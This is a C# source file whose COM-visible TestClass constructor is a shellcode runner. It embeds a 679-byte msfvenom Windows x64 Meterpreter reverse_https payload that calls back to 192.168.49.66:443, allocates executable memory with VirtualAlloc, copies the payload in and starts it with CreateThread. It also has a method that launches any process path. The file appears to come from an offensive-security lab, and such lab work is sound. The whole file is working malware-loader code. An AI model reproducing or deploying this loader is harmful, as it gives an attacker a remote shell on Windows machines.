using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System;

[ComVisible(true)]
public class TestClass
{
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32", CharSet = CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress,
    IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
    public TestClass()
    {
            // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.49.66 LPORT=443 -f csharp

        byte[] buf = new byte[679] {
            0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
            0x51,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x56,0x48,0x8b,0x52,0x18,0x48,
            0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0x0f,0xb7,0x4a,0x4a,0x48,0x8b,0x72,0x50,
            0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
            0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x41,0x51,0x8b,0x42,0x3c,0x48,
            0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
            0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x44,0x8b,
            0x40,0x20,0x50,0x49,0x01,0xd0,0x8b,0x48,0x18,0xe3,0x56,0x48,0xff,0xc9,0x4d,
            0x31,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,
            0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
            0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
            0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x41,0x58,
            0x48,0x01,0xd0,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
            0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
            0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,
            0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,
            0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,
            0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,
            0xe8,0x0e,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x34,0x39,
            0x2e,0x36,0x36,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x01,0x00,0x00,
            0x4d,0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x00,
            0x00,0x00,0x00,0xff,0xd5,0xe8,0x7e,0x00,0x00,0x00,0x2f,0x4b,0x65,0x70,0x39,
            0x73,0x53,0x2d,0x50,0x45,0x56,0x51,0x66,0x2d,0x78,0x37,0x35,0x66,0x65,0x30,
            0x7a,0x75,0x51,0x55,0x4e,0x43,0x6e,0x52,0x35,0x32,0x79,0x48,0x54,0x57,0x4d,
            0x50,0x65,0x51,0x61,0x33,0x69,0x62,0x66,0x35,0x4f,0x4f,0x57,0x52,0x79,0x56,
            0x7a,0x38,0x78,0x73,0x65,0x65,0x53,0x74,0x46,0x45,0x33,0x46,0x36,0x68,0x73,
            0x6a,0x54,0x5a,0x44,0x6e,0x61,0x4c,0x51,0x56,0x51,0x4d,0x5a,0x71,0x6f,0x41,
            0x77,0x6d,0x69,0x33,0x39,0x6b,0x41,0x43,0x74,0x69,0x30,0x45,0x6b,0x6c,0x61,
            0x42,0x6e,0x4e,0x61,0x6f,0x36,0x48,0x68,0x35,0x4e,0x55,0x79,0x72,0x53,0x62,
            0x41,0x4e,0x5a,0x6b,0x48,0x30,0x44,0x42,0x61,0x39,0x63,0x63,0x34,0x42,0x46,
            0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x00,
            0x32,0xa8,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,
            0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x6a,0x1f,
            0x5a,0x52,0x68,0x80,0x33,0x00,0x00,0x49,0x89,0xe0,0x6a,0x04,0x41,0x59,0x49,
            0xba,0x75,0x46,0x9e,0x86,0x00,0x00,0x00,0x00,0xff,0xd5,0x4d,0x31,0xc0,0x53,
            0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,
            0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,
            0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,
            0xff,0xcf,0x74,0x02,0xeb,0xaa,0xe8,0x55,0x00,0x00,0x00,0x53,0x59,0x6a,0x40,
            0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,0x00,0x49,
            0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x93,0x53,0x53,
            0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,0x20,0x00,
            0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,0x00,0xff,
            0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,0x01,0xc3,
            0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,
            0xa2,0x56,0xff,0xd5 };

        int size = buf.Length;

        IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

        Marshal.Copy(buf, 0, addr, size);
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
        WaitForSingleObject(hThread, 0xFFFFFFFF);

    }

    public void RunProcess(string path)
    {
        Process.Start(path);
    }
}